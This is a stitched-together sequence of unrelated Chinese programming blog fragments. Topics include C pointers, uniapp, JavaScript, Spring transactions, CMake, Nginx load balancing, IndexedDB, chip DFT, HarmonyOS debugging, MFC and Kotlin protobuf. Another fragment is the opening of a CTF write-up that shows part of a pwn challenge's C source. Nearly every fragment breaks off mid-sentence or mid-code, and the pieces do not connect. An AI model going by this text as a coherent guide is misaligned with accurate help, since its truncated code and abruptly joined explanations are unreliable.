电子科技大学信息与通信学院有通信工程系、网络工程系、物联网工程系、电子工程系和信息工程系,在优选计划(“优秀大学生选拔计划”)最终确定前可以面试不同方向的不同团队,并不冲突。但是,一般情况下,老师如果给了offer后,会让你签一个诚信承诺书,没有法律效力,但是有道德约束~
首先是通信工程系的智能态势感知研究(MISP)团队面试:
两分钟英文自我介绍
英文问答:为什么选择他们学校?对他们团队有没有什么问题?
英文自我介绍模板(音标标注的是一些可能会读错的单词,未加粗部分可适当省略):
Good morning, my honored professors[prəˈfesər] and teachers:
First of all [fɜːrst əv ɔːl], please allow me to express my appreciation [əˌpriːʃiˈeɪʃn] for the opportunity that you give me to join this interview.
My name is ××, 21 years old. I come from ×× City, ×× Province, where the Buddhist [ˈbʊdɪst] holy land-×× Mountain is located. (因为我的家乡本身知名度不高,所以我特意加了一个的耳熟能详的山来做解释。)
I am now studying in ×× University, School of Electronic Engineering.
一个数组,其元素均为指针类型数据,称为指针数组。
即:指针数组中每一个元素都是指针变量。
指针数组的定义格式:
类型标识符 *数组名(数字长度说明);
如:
int *p[4]; //每个数组元素都可以看成是一个指针变量,都可以指向 一个整型普通变量。
数组指针:int (*p)[4]; //这是指向一维数组的指针变量,也就是说,他首先是一个指针变量。
例题:
#include<stdio.h> int main() { char *pName[]={"C++","JAVA","PYTHON","GO","CSHarp"}; //指针数组 int is1=sizeof(pName); //每个指针变量占4个字节,所以有五个元素一共占20个字节 int isize=is1/sizeof(pName[0]); //20/4=5,表示pName中有5个元素,pName能引用的下标就是[0]-[4] int i; char *p2="JAVA"; //把字符串的首地址赋值给指针;字符串常量会固定分配地址;p2=pName[1] for(i=0;i<isize;i++) { printf("pName[%d]=%s\n",i,pName[i]); } printf("----------------------------------\n"); char *ptemp; ptemp=pName[0]; //ptemp指向了"C++" pName[0]=pName[1]; //pName[0]指向了"JAVA" pName[1]=ptemp; //pName[1]指向了"C++" /* ptemp保存了"C++"的地址,然后pName[1]保存了"JAVA"的地址,最后再把"C++"的地址给pName[2]. */ for(i=0;i<isize;i++) { printf("pName[%d]=%s\n",i,pName[i]); } printf("----------------------------------\n"); return 0; } 二、指向指针的指针 用来指向指针变量 的变量,简称:指向指针的指针。 char **p; //定义了一个 指向 字符串指针变量的 指针变量 int **p; //定义了一个 指向 整型指针变量的 指针变量 *(*p); //表示 指针变量p 是 指向一个 指针变量,*p 是 p 所指向的 指针变量。 接上方代码 char **pp; //定义一个指向指针的指针 pp=&pName[0]; //*pp就是pp所指向的指针,也就是pName[0]; printf("
uniApp 使用uni.openDocument(object)预览pdf、excel、word等文件 1.实现思路:2. 直接上代码(可直接复制)3.注意事项 1.实现思路: 这里咱们直接用的uniapp官方提供的uni.downloadFile方法调用手机第三方能打开文件的工具,比如wps等(ps:这里实现的是APP文件预览)。
2. 直接上代码(可直接复制) //文件预览 prefile(e){ let that = this let url = that.$config.fileUrl+e; uni.downloadFile({ url: url, success: function (res) { let filepathss=plus.io.convertLocalFileSystemURL(res.tempFilePath); setTimeout( () => uni.openDocument({ filePath: filepathss, showMenu: false, success: function () { console.log("打开文档成功"); }, fail: function () { uni.showToast({ title: '暂不支持此类型', duration: 2000, icon: "none", }); } }), 1000 ); }, fail: function (res) { console.log(res); //失败 } }); } 3.注意事项 1.文件路径(url)必须是浏览器能直接访问的文件。比如:http://xx.cc.com/images/abc.xlsx 这种格式。 最开始我是用的后台给的接口 file/dowload?
JS如何添加自定义对象的key
let obj = {} //定义一个空对象
let key= "title" //key的名称
obj[key] = "0"
console.log(obj)
===> ↓↓↓↓↓↓↓↓
obj = {
title : "0"
}
增加一个新属性array1,此属性是数组
json数组添加元素
js为一个对象Object添加一个新的属性和值
1,
var obj = {}; //或者 var obj=new Object(); var key = "name"; var value = "张san" obj[key] = value; 2,
var obj = {}; var key = "name"; var value = "张三" eval("obj.p" + key + "='" + value + "'"); var obj = {}; //或者 var obj=new Object();
做物联网化工厂人员定位系统行业的朋友,总会看是一串字母:”Ex ib IIC T6 Gb“,那么这些字母究竟是几个意思呢?
防爆等级解析:
Ex ib IIC T4 Gb
Ex——表示该设备为防爆电气设备
i(本质安全型电气设备) ——在正常运行或在标准试验条件下所产生的火花或热效应均不能点燃爆炸性混合物的电气设备。
本安型电气设备及其关联设备,按本安电路使用场所和安全程度分为ia和ib二个等级。
ib ——在正常工作和一个故障时均不能点燃爆炸性气体混合物的电气设备。(ia 在正常工作、一个故障和二个故障时均不能点燃爆炸性气体混合物的电气设备!此次ia等级要大于ib等级)
II——除煤矿、井下之外的所有其他爆炸性气体环境用电气设备。
Ⅱ类又可分为ⅡA、ⅡB、ⅡC类,标志ⅡB的设备可适用于ⅡA设备的使用条件;ⅡC可适用于ⅡA、ⅡB的使用条件。(解析::中国GB3836标准规定ⅡC级最小点燃能量为19微焦耳,ⅡA级最小点燃能量为200微焦耳)
T4——温度组别,T4等级设备最高表面最高温度为135°,(T1—T3表面最高温度要大于T4,可引燃常见爆炸性气体偏多,所以T4等级等级高于T1—T3。)
Gb——用于爆炸性气体环境的设备,其保护级别“高”,在正常运行或出现预期故障情况时,不属于点燃源。(Gb属于中等保护级别,Ga等级要高于Gb).
Ex ib IIC T4 Gb防爆认证可用于大部分存在爆炸气体化工厂,除煤矿(煤矿是I类设备,I类大于我们现有II类)以外。还存在更高等级的防爆认证,如ia等级(华可用于0区),目前已知个别石油化工企业对设备防护等级要求为ia。
0区解析:
0区:连续出现或长期出现爆炸性气体混合物的环境
1区:在正常运行时可能出现爆炸性气体混合物的环境
2区:在正常运行时不可能出现爆炸性气体混合物的环境,或即使出现也仅是短时存在的爆炸性气体混合物的环境
子绘图是比较复杂的,你几乎需要掌握QCustomPlot所有类及其含义。那么需要掌握的类有:
QCPAxis 描述轴行为,轴需要依赖QCPAxisRectQCPAxisRect 描述矩形区域,区域依赖于QCPCustomPlotQCPLayoutGrid 网格形排列矩形区域,类似于QGridLayoutQCustomPlot 默认行为及对象QLegend 图例 一、QCPAxis 轴对象 1.1 构造 QCPAxis::QCPAxis (QCPAxisRect * parent, AxisType type); 可以看出QCPAxis依赖与QCPAxisRect对象的,关于第二个参数enum QCPAxis::AxisType,就是表明其在矩形中的位置:
枚举类型编号含义atLeft0x01Axis is vertical and on the left side of the axis rectatRight0x02Axis is vertical and on the right side of the axis rectatTop0x04Axis is horizontal and on the top side of the axis rectatBottom0x08Axis is horizontal and on the bottom side of the axis rect 1.2 可以设置哪些内容? 构造时用到的两个参数对象是可以返回的:
AxisType axisType () const QCPAxisRect * axisRect () const 关于网格有以下内容可供设置:
一. 简介 事务: 事务是逻辑上的一组操作,要么都执行,要么都不执行,关于事务的基本知识可以看我的这篇文章:事务的基础知识
Spring事务: Spring 支持两种方式的事务管理:编程式事务管理、声明式事务管理
编程式事务管理:通过 TransactionTemplate或者TransactionManager手动管理事务,使用较少,但是可以让我们精准控制事务粒度,实现精确的细粒度事务控制声明式事务管理:通过 AOP 实现,@Transactional注解是最常用的声明式事务使用 二.通过例子来学习 maven依赖:
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.8</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>5.3.8</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jdbc</artifactId> <version>5.3.8</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.25</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.6.9</version> </dependency> 实体类:
public class Book { private int bookId; private String bookName; public Book(int bookId, String bookName) { this.bookId = bookId; this.bookName = bookName; } public Book() { } public int getBookId() { return bookId; } public void setBookId(int bookId) { this.
CMake入门 介绍 CMake是一个跨平台的编译(Build)工具,可以用简单的语句来描述所有平台的编译过程。
CMake能够输出各种各样的makefile或者project文件,能测试编译器所支持的C++特性,类似UNIX下的automake。
CMake 不仅可以编译源代码、制作程序库、产生适配器(wrapper)、还可以用任意的顺序建构执行档。CMake 支持 in-place 建构(二进档和源代码在同一个目录树中)和 out-of-place 建构(二进档在别的目录里),因此可以很容易从同一个源代码目录树中建构出多个二进档。CMake 也支持静态与动态程式库的建构。
功能 CMake主要有两大功能:
Cmake是用来makefile的一个工具,读入所有源文件之后,自动生成makefile。
1、配置和生成各大平台的工程(vs的vcxproj,Qt的Pro): 比如设置输出目录,设置编译对象的debug后缀,设置源码在工程中的那个文件夹(Filter),配置需要依赖的第三方的头文件目录,库目录等等属性。
2、生成makefile文件 计算机编译源文件的时候是一条指令一条指令的发送给编译器执行的,这样效率很低下,所以就产生了一种文件,把所有的命令写到一个文件中,这个文件就是makefile。CMake生成了这个makefile之后,各大平台的编译器都会拿到这个makefile然后解析它。将他的命令解析出来一条一条执行。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xXMvyWr3-1663249533817)(image/cmake入门/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWB5qWa5Li25qC85b-1,size_15,color_FFFFFF,t_70,g_se,x_16.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6KxzZogb-1663249533818)(image/cmake入门/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWB5qWa5Li25qC85b-1,size_20,color_FFFFFF,t_70,g_se,x_16.png)]
一.常用命令 指定cmake最小版本 cmake_minimun_version(VERSION 3.4.1) 设置项目名称 project(demo) 该命令可选。会引入两个变量:
demo_BINARY_DIRdemo_SOURCE_DIR 同时,cmake自动定义了两个等价的变量PROJECT_BINARY_DIR和PROJECT_SOURCE_DIR.
备注:
CMAKE_BINART_DIR, PROJECT_BINARY_DIR, _BINARY_DIR:这三个变量的含义一样。 如果是in source编译:指的就是工程的顶层目录(CMakeLists.txt所在目录)如果是out source编译:指的就是工程编译发生的目录(build目录) CMAKE_SOURCE_DIR, PROJECT_SOURCE_DIR, _SOURCE_DIR:这三个变量的含义一样。
都是指工程的顶级目录。设置编译类型 //生成可执行文件 add_executable(demo demo.cpp) //生成静态库(默认) add_library(common STATIC util.cpp) //生成动态库 add_library(common SHARED util.cpp) add_library:默认生成的是静态库
制定编译包含的源文件 1)明确制定包含的源文件
add_library(demo demo.cpp test.cpp util.cpp) 2)搜索所有cpp文件
//发现一个目录下所有的源代码文件,并将列表存储再一个变量中(不会递归遍历目录) aux_source_directory(. SRC_LIST) add_library(demo ${SRC_LIST}) 3)自定义搜索规则
file(GLOB SRC_LIST "*.cpp" "
使用递归调用自身来遍历文件夹下的文件 技术点: io + 递归 import java.io.File; public class Iodemo01 { public static void main(String[] args) { showFile("C:/a"); } /** * 遍历文件下所有文件 * @param path 需要遍历的文件夹 */ public static void showFile(String path){ // 给传入的路径创建file类 File file = new File(path); // 判断是否是一个文件夹 if (file.isDirectory()){ // 文件夹 // 拿到文件下所有的文件 File[] files = file.listFiles(); // 遍历文件下所有文件夹 for (File file1 : files) { // 判断遍历出的元素是否是文件夹 if (file1.isDirectory()){ // 是文件夹 // getAbsolutePath() 获取file的路径 showFile(file1.getAbsolutePath()); // 是文件夹递归 调用自己 System.
我在Windows 7上面配置Rust运行环境的时候报了下面的错误,差点导致我去装Windows11或者换Linux...
这个Windows7真是让人头疼,各种组件都是缺失的,要我一个一个安装,缺少各种dll,NET.flamework就弄了半天...... VisualStudioCode直接打不开
废话不多说,展示一下报错内容
C:\rustspace>rustc main.rs
error: linker `link.exe` not found
|
= note: 系统找不到指定的文件。 (os error 2)
note: the msvc targets depend on the msvc linker but `link.exe` was not found
note: please ensure that VS 2013, VS 2015, VS 2017 or VS 2019 was installed with the Visual C++ option
error: aborting due to previous error
花费了大量时间以后,我终于解决了这个问题,唉
解决方法是在命令行就是CMD(可以用Ctrl+R输入cmd打开,想必大家都知道,不过多强调)
执行下面两行命令:
rustup toolchain install stable-x86_64-pc-windows-gnu
rustup default stable-x86_64-pc-windows-gnu
文章目录 基本事件处理机制分析一、什么是事件处理机制?二、Action与ActionListener机制分析示例: 三、其他事件处理方式(1)普通方法调用(2)回调函数(3)观察者模式(4)几种事件处理机制综合比较 基本事件处理机制分析 一、什么是事件处理机制? 事件处理机制中参与有三种角色:事件源、事件、事件监听者
事件源:产生事件的对象/组件
事件:事件源的状态发生改变之后的对象,如鼠标操作、键盘操作等
事件监听者:负责监听事件的发生并处理事件
事件 事件源 事件监听者:处理事件 二、Action与ActionListener机制分析 Java GUI可以利用ActionListener进行ActionEvent的监听
其步骤如下:
事件监听者实现了接口ActionListener的类实例事件源对象能够添加监听器对象并向其发送事件对象当事件发生时,事件源将事件对象发送给添加的监听器监听器对象对事件对象进行处理响应 示例: //actionlistener可以作为外部类、内部类、匿名类进行监听,本示例使用内部类 //两个监听者对应两个button组件 private class bt1Handler implements ActionListener { public void actionPerformed(ActionEvent e) { jTextArea.setText("按钮一点击"); } } private class bt2Handler implements ActionListener { public void actionPerformed(ActionEvent e) { jTextArea.setText("按钮二点击"); } } //添加监视器 bt1.addActionListener(bt1Handler); bt2.addActionListener(bt2Handler); 效果:
三、其他事件处理方式 (1)普通方法调用 它是一种阻塞式调用,例如A类中的方法a要调用B类中的方法b,必须要等待b方法执行完毕才能执行b方法之后的代码,如果b方法执行时间较长,整个过程就被阻塞在了这一步。
(2)回调函数 回调函数的概念十分简单,就是将函数作为另一个函数的参数,java中不允许方法作为参数们只能传入类,然后调用类的方法,分为同步与异步回调函数,下面分别实现:
同步回调:
//示例:我与朋友打电话让他去我家吃饭,朋友同意 //Me类: public class Me implements callable { MyFriend friend; public Me( MyFriend friend){ this.
目录
1、负载均衡概述
2、负载均衡的原理及处理流程
3、负载均衡的作用
4、负载均衡常用的处理方式
4.1、方式1:用户手动选择
4.2、方式2:DNS轮询方式
4.3、四/七层负载均衡
5、Nginx七层负载均衡
5.1、Nginx七层负载均衡的指令
5.1.1、upstream指令
5.1.2、server指令
5.2、Nginx负载均衡配置
5.3、Nginx负载均衡状态
5.3.1、状态:down
5.3.2、状态:backup
5.3.3、状态:max_fails
5.3.4、状态:fail_timeout
5.3.5、状态:max_conns
5.4、Nginx负载均衡策略
5.4.1、轮询
5.4.2、weight加权(加权轮询)
5.4.3、ip_hash
5.4.4、least_conn
5.4.5、url_hash
5.4.6、fair
5.5、Nginx七层负载均衡的案例
5.5.1、案例1——对所有请求实现一般轮询规则的负载均衡
5.5.2、案例2——对所有请求实现加权轮询规则的负载均衡
5.5.3、案例3——对特定资源实现负载均衡
5.5.4、案例4——对不同域名实现负载均衡
5.5.5、案例5——实现带有URL重写的负载均衡
6、Nginx四层负载均衡
6.1、添加stream模块的支持
6.2、Nginx四层负载均衡的指令
6.2.1、stream指令
6.2.2、upstream指令
6.3、Nginx四层负载均衡的案例
1、负载均衡概述 早期的网站流量和业务功能都比较简单,单台服务器足以满足基本的需求,但是随着互联网的发展,业务流量越来越大并且业务逻辑也跟着越来越复杂,单台服务器的性能及单点故障问题就凸显出来了,因此需要多台服务器进行性能的水平扩展及避免单点故障出现,那么如何将不同用户的请求流量分发到不同的服务器上呢?
2、负载均衡的原理及处理流程 系统的扩展可以分为纵向扩展和横向扩展。
纵向扩展是从单机的角度出发,通过增加系统的硬件处理能力来提升服务器的处理能力;横向扩展是通过添加机器来满足大型网站服务的处理能力。
这里面涉及到两个重要的角色分别是“应用集群”和“负载均衡器”。
应用集群:将同一应用部署到多台机器上,组成处理集群,接收负载均衡设备分发的请求,进行处理并返回响应的数据。负载均衡器:将用户访问的请求根据对应的负载均衡算法,分发到集群中的一台服务器进行处理。 3、负载均衡的作用 解决服务器的高并发压力,提高应用程序的处理性能;提供故障转移,实现高可用;通过添加或减少服务器数量,增强网站的可扩展性;在负载均衡器上进行过滤,可以提高系统的安全性。 4、负载均衡常用的处理方式 4.1、方式1:用户手动选择 这种方式比较原始,主要实现的方式就是在网站主页上提供不同线路、不同服务器链接方式,让用户来选择自己访问的具体服务器,来实现负载均衡。
4.2、方式2:DNS轮询方式 DNS:域名系统(服务)协议(DNS)是一种分布式网络目录服务,主要用于域名与IP地址的相互转换。
大多数域名注册商都支持对同一个主机名添加多条A记录(A记录就是IP地址),这就是DNS轮询,DNS服务器将解析请求按照A记录的顺序,随机分配到不同的IP上,这样就能完成简单的负载均衡。DNS轮询的成本非常低,在一些不重要的服务器,经常被使用。
验证: ping www.baidu.com 清空本地的dns缓存 ipconfig/flushdns 我们发现使用DNS来实现轮询,不需要投入过多的成本,虽然DNS轮询成本低廉,但是DNS负载均衡存在明显的缺点:
可靠性低:假设一个域名DNS轮询多台服务器,如果其中的一台服务器发生故障,那么所有的访问该服务器的请求将不会有所回应,及时你将该服务器的IP从DNS中去掉,但是由于各大宽带接入商将众多的DNS存放在缓存中,以节省访问时间,导致DNS不会实时更新,所以DNS轮询一定程度上解决了负载均衡问题,但是却存在可靠性不高的缺点。负载均衡不均衡:DNS负载均衡采用的是简单的轮询负载算法,不能区分服务器的差异,不能反映服务器的当前运行状态,不能做到为性能好的服务器多分配请求,另外本地计算机也会缓存已经解析的域名到IP地址的映射,这也会导致使用该DNS服务器的用户在一定时间内访问的是同一台Web服务器,从而引发Web服务器的负载不均衡。 负载不均衡会导致某几台服务器符合很低,而另外几台服务器负荷却很高,处理请求的速度慢,配置高的服务器分配到的请求少,而配置低的服务器分配到的请求多。
4.3、四/七层负载均衡 OSI(Open System Interconnection,开放式系统互联模型)是由国际标准化组织ISO指定的一个不基于具体机型、操作系统或公司的网络体系结构。该模型将网络通信的工作分为七层。
OSI七层模型; 7、应用层:为应用程序提供网络服务; 6、表示层:对数据进行格式化、编码、加密、压缩等操作; 5、会话层:建立、维护、管理会话连接; 4、传输层:建立、维护、管理端到端的连接,常见的有TCP/UDP; 3、网络层:IP寻址和路由选择; 2、数据链路层:控制网络层与物理层之间的通信; 1、物理层:比特流传输。 所谓的四层负载均衡指的是OSI七层模型中的传输层,主要是基于IP+PORT的负载均衡:
话不多说直接上代码,
里面是封装好的,可以直接复制,进行测试
<template> <div class="home"> <div @click="add">新增</div> <div @click="read">获取</div> <div @click="readAll">获取全部</div> <div @click="deleteData">删除</div> <div @click="deleteDb('dbname')">删除数据库</div> <div @click="putData">更新</div> </div> </template> <script> export default { name: 'HomeView', data(){ return{ indexedDB: window.indexedDB || window.webkitindexedDB || window.msIndexedDB || window.mozIndexedDB,//兼容 } }, created(){ this.dbInit }, methods:{ dbInit () { return new Promise((resolve, reject) => { //打开数据库,如果没有就新建一个 //dbname库的名称,2为版本号,切记,版本号不能为小数,会自动四舍五入 const connection = this.indexedDB.open('dbname', 2) connection.onblocked = function(event) { // 如果其他的一些页签加载了该数据库,在我们继续之前需要关闭它们 alert("请关闭其他由该站点打开的页签!"); }; connection.addEventListener('success', (event) => { const db = event.
目录: 前言故障模型DFT-Scan 前言 芯片的逻辑设计通过物理实现生成芯片版图,需要经过有源区生长、光刻、注入、推进、腐蚀、淀积等工艺过程的反复操作,最终完成一颗芯片的“流片”。经过整套如此精细复杂的生产流程,制作原料不够纯净、制造机器的不够完备以及人工操作的不够规范都会使得最终流片的产品产生故障,更可能会导致最终产品失效。除了加工生产过程造成的产品故障,还有可能源于设计或测试过程本身的各种问题。
DFT技术其实就是把DFT逻辑加入到芯片设计中,然后等芯片制造回来,通过事先加入的DFT逻辑对芯片进行体检,挑出体格健壮的芯片,保证送到客户手上的芯片是没有故障的。
DFT指的是在芯片原始设计中阶段即插入各种用于提高芯片可测试性(包括可控制性和可观测性)的硬件逻辑,通过这部分逻辑,生成测试向量,达到测试大规模芯片的目的。
测试与验证的区别
验证(Verification)的目的是检查设计中的错误,确保设计符合其设计规范和所期望的功能;测试(Testing)则是检查芯片的加工制造过程中所产生的缺陷和故障 故障模型 经典的数字逻辑故障模型包括:固定性故障、晶体管故障、桥接故障、跳变延迟故障和传输延迟故障。
固定故障表示的是电路中的某个信号值不随电路状态改变而是始终为逻辑0 (SAO, Stuck-At-0)或逻辑1 (SA1, Stuck-At-1) ,它可能由于信号短路或开路造成,也可能由于晶体管一直导通或一直截止等造成。
晶体管故障常以SAO和SA1两种形式表示出来。
桥接故障表示电路两个不同节点由于短路造成的故障,它包含了工艺制造过程中的所有“连条”,包括二氧化硅的通孔、金属的连接故障,也可能是电路中器件失效造成的。
跳变延迟故障表示电路不能在固定时段完成信号由0至1或由1至0的转换,因此它有SAO和SA1两种表现形式。
传输延迟故障是对指定路径上所有组合门电路的跳变延时之和的故障判断。与跳变延时故障模型所不同的是,这里以整个路径上的各个门的管脚与连线节点的连接,取代了跳变延时模型中单个节点作为考察对象
存储器故障模型
DFT技术主要包括Scan,Mbist和Boundary Scan
DFT-Scan 扫描路径法是一种针对时序电路芯片的DFT方案,其基本原理是时序电路可以模型化为一个组合电路网络和带触发器(Flip-Flop,简称FF)的时序电路网络的反馈。
Scan 包括两个步骤,scan replacement和scan stitching,目的是把一个不容易测试的时序电路变成容易测试的组合电路,实际在设计中,这两步都是由EDA工具完成的
• Scan replacement就是把电路中的normal时序单元(如DFF)替换为一个scan 时序单元(SDFF)。
其SE端值为0时,电路工作在正常功能状态并能把D端的值锁存下来;当SE为1时,电路工作在所谓scan mode并锁存SI的值。
• Scan stitching 是把上一步中得到的Scan DFF的Q和SI连接在一起形成scan chain。在芯片的顶层有全局的SE信号,以及scan chain的输入输出信号:SI 和 SO。通过scan chain的连续动作,就可以把问题从对复杂时序电路的测试转化成测试组合电路。
下面我们把时序逻辑和组合逻辑放在一起,来看一下scan insertion 之前和之后的区别
scan测试可以分别测试组合逻辑和DFF
Scan test 的步骤:
把Scan-En设成0,此时电路工作在正常状态(function mode)下, scan insertion对电路的正常功能没有影响。把Scan-En设成1,然后把enable clock来驱动寄存器,在Scan-In端输入测试数据,然后在输出端Scan-Out观测,用此种方法便可以测试Flip-Flop.测试组合逻辑的时候,把Scan-En设成1,然后enable clock来驱动寄存器,在Scan-In端输入测试数据,两个时钟周期后,数据便会送到组合逻辑的输入端。然后把Scan-En设成0,时钟打一拍,经过组合逻辑的输出值便会送到右侧的寄存器中。再把Scan-En设成1,此时scan chain 工作在shift mode,此时便可以把组合逻辑的输出值shift出来,和期望值进行比较 经过这样一个周期,图中的组合逻辑和时序逻辑便都被测试到了
参考 https://zhuanlan.zhihu.com/p/201353304
前面讲过GT系列手表,可以直接使用应用调试助手进行开发调试,但是这个东西只能给GT手表使用,而且它属于轻可穿戴设备,如果想给watch系列可穿戴设备做真机调试就要使用另外一种方法。
打开deveco studio,在tools中选择IP connection
打开华为watch的开发者选项,选择通过wlan调试,会出现IP和端口,填写进去即可,主要电脑和手表要在一个局域网下。
然后需要签名,打开file的project structure中的signing configs
但是需要先进行appgallery connect配置,新建项目和服务,注意服务的名称和包名要和IDE中项目的buddle name和包名一致才能成功,如果实在搞不清楚,区config.json中查看,多试几次就成功了。
https://www.baidu.com/link?url=dggPwFp21hHxg4gZi-tmxxsNo3SQDqTrUJ7vx1ai4Jg7YRqFjyeJCcnhUmoFPZUh5w-SvaJTeX_mflddoBPv5LiiWLGVpgvQ9iNLyhsfg2i&wd=&eqid=c4b04cee000017f4000000046322d224
然后调试类型的方法如下。
单击Run > Edit Configurations > Debugger,在HarmonyOS App中,选择相应模块, 可以进行Java/JS/C++调试配置。
设置HAP包安装方式
在调试阶段,HAP包在设备上的安装方式有2种,可以根据实际需要进行设置。
安装方式一:先卸载应用/服务后,再重新安装,该方式会清除设备上的所有应用/服务缓存数据(默认安装方式)。
安装方式二:采用覆盖安装方式,不卸载应用/服务,该方式会保留应用/服务的缓存数据。
设置方法如下:
单击Run > Edit Configurations,设置指定模块的HAP包安装方式,勾选“Keep Application Data”,则表示采用覆盖安装方式,保留应用/服务缓存数据。
如果一个工程中同一个设备存在多个模块(如Phone设备,存在entry和feature模块),且存在模块间的调用时,在调试阶段需要同时安装多个模块的hap包到设备中。此时,需要在待调试模块的设置项中勾选“Deploy Multi Hap Packages”。例如entry模块调用feature模块,在调试entry模块时,需要同时安装feature模块,应该在entry模块的调试设置项中勾选“Deploy Multi Hap Packages”后再启动调试。
终于到最后一步了,启用调试
在工具栏中,选择调试的设备,并单击Debug 或Attach Debugger to Process启动调试。
然后手表端就会出现应用的调试界面
前言 前天刚学习了MFC开发,就按网上的教程写了一个解析海康rtsp地址的小程序,解析的信息主要是用户名、密码、端口号以及管道号。开发工具是VS2019,下面我会详细介绍如何一步步开发MFC,真纯小白教学,因为俺也是刚学哈哈哈。所以会尽量一步步教大家,希望能对你们有所帮助。
开发MFC前准备 开发MFC程序前需要对MFC有了大致的了解,首先是怎样新建一个MFC项目,以及对开发MFC一些其他知识有一个了解。下面是需要做的一些准备知识。
新建一个MFC项目 1.打开VS2019,创建新项目----》 选择MFC应用—》输入项目名称—》
创建
2.选择 基于对话框—》一直选择下一步直到完成
3.创建完成来到该界面
类视图、资源视图以及解决方案资源管理视图 下面认识一下开发MFC需要的几种视图。分别是类视图(方便开发过程中寻找类)、资源视图(方便绘制MFC界面以及调整界面)以及我们大家熟悉默认的解决方案资源管理视图。
如果没出现可以按以下方法调出类视图。
工具箱及一些控件的讲解 下面讲解如何在资源视图下搭建一个MFC界面,讲解工具箱以及一些控件。首先进入资源视图,打开Dialog文件夹,点击DD_MFC10_DIALOG,出现以下界面
鼠标点击出现的对话框,右击属性会出现该对话框的一些信息。
鼠标选中对话框后,可以点击最左面的工具箱,调出MFC控件。
然后就可以拖动这些控件到对话框中,我就拖动了Button、Edit Control、以及Static Text三个常用的控件。
实际开发 下面就开始进入一个实际开发。
首先搭建两个界面,一个是解析界面,一个是解析完成输出界面。
解析界面 首先是解析界面:
按上面的流程走,先拖进来三个常用的控件Button、Edit Control、以及Static Text。
然后更改控件的名字。点击拖进来的Static Text,右击属性更改描述文字为URL,也可点击直接修改。
点击Edit Control,右击属性,更改ID为IDC_EDIT_URL,右击示例编辑框—》添加变量,按下图设置。
更改Button1为解析。
点击TODO:XXXX,属性可见选为false.
显示界面 下面添加第二个界面即显示界面:
打开资源视图,右击Dialog,插入Dialog。在出现的对话框右击属性,更改ID为IDD_DIALOG_PARSE,如图
然后为该对话框添加类,右击对话框,添加类,类名为CDlgParse。如下图:
然后就是添加界面的信息如下:
分别修改对应实例编辑器ID为IDC_EDIT_IP、IDC_EDIT_PORT、IDC_EDIT_USER、IDC_EDIT_PSD,同时添加相应的变量如下图
关联两个界面 下面就是关联这两个界面,在解决方案视图找到MFCXXXDlg.cpp,在头文件中添加我们刚才新建对话框的头文件。
#include "CDlgParse.h" 如下图:
测试程序是否能运行 在资源视图找到我们的解析界面,双击 解析 按钮,会转到点击该按钮会发生的操作,我们加入如下代码:
CDlgParse dlg; dlg.DoModal(); 重新生成解决方案然后运行。可以出现以下界面:
点击解析跳到如下界面,说明咱们MFC框架搭好了,下面是如何实现功能。
实现功能 在MFC10Dlg.cpp文件内添加如下头文件和代码: #include <regex> #include <string> using namespace std; //匹配用户名,密码,IP,端口 const std::string strHKCameraReg = "
一、创建一二级菜单内容 创建省市分布表格
二、新建省份查询表格sheet3 选择有效性中的有效性
允许选择序列,来源选择sheet1中的省份,确定后就可以在sheet3中看到下拉框出现省份选项
三、配置二级下拉框 选择省份和市的表格,ctrl+g,去掉公式
在公式中,选择指定,去掉其他保留首行
此处需要我们在省份中选择任意一个省份出来,选择市空白单元格,点击菜单的数据中有效性,
允许:序列,来源:=indirect(),鼠标放在括号内,选择省份单元格,
按3次F4,去掉绝对引用 ,确定
1. Kotlin 引入 protobuf build.gradle(project): // Top-level build file where you can add configuration options common to all sub-projects/modules. buildscript { repositories { gradlePluginPortal() } dependencies { classpath 'com.google.protobuf:protobuf-gradle-plugin:0.8.19' } } plugins { id 'com.android.application' version '7.2.1' apply false id 'com.android.library' version '7.2.1' apply false id 'org.jetbrains.kotlin.android' version '1.6.10' apply false id 'com.google.protobuf' version '0.8.18' apply false } task clean(type: Delete) { delete rootProject.buildDir } build.gradle(app): plugins { id 'com.
目录
pwn-ezROP
baby Windows 未作
how2pwn 未作成
shello world 未完成
Crypto: Gotta Crack Them All 未完成
Phi Too Much In Common
Not Too Taxing
Poodle Gift Shop
Beyond_Quantum
REV:DockREleakage
Anya Gacha 未完成
Game
The Big Bang
Conti 最后一个也没完成
国外的比赛还真有点意思,虽然没作出几道题来,但感觉还是非常不错的。
pwn-ezROP pwn类的签到题,直接给源码,国外好多者直接给源码,比用go语言啥的强多了。
#include <stdio.h> #include <ctype.h> int init(){ fclose(stderr); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int check(char *s){ char *ptr = s; while(*ptr!=0) { if(*ptr=='\n') { *ptr = 0; break; } if(isalpha(*ptr) || *ptr==' ') ptr++; else { puts("
在项目开发过程中,我们通常需要通过console.log输出日志信息进行代码调试,但是在生产环境上,为了安全往往需要删除控制台打印的日志。为了实现这个效果,可以借助插件babel-plugin-transform-remove-console实现。
1、安装依赖
npm install babel-plugin-transform-remove-console --save-dev 2、找到babel.config.js文件,进行如下配置:
const plugins = [] // 生产环境移除console if(process.env.NODE_ENV === 'production') { plugins.push("transform-remove-console") } module.exports = { plugins: plugins, presets: [ '@vue/app' ] } 以上配置会在生产环境删除所有日志输出,包括警告、错误信息等。保留警告和错误信息,可以进行如下改造:
if(process.env.NODE_ENV === 'production') { plugins.push(["transform-remove-console", { "exclude": [ "error", "warn"] }]) } 正常情况下,进行上述配置,并重新执行构建任务后会生效。如果没有生效,就需要看看项目中有没有进行其他错误信息拦截,从而导致没有打印警告和错误信息。
我在项目中按照上述方式配置后,发现并未生效,经过一段时间的探索,终于找到了原因:项目中通过 Vue.config.errorHandler 进行了异常处理
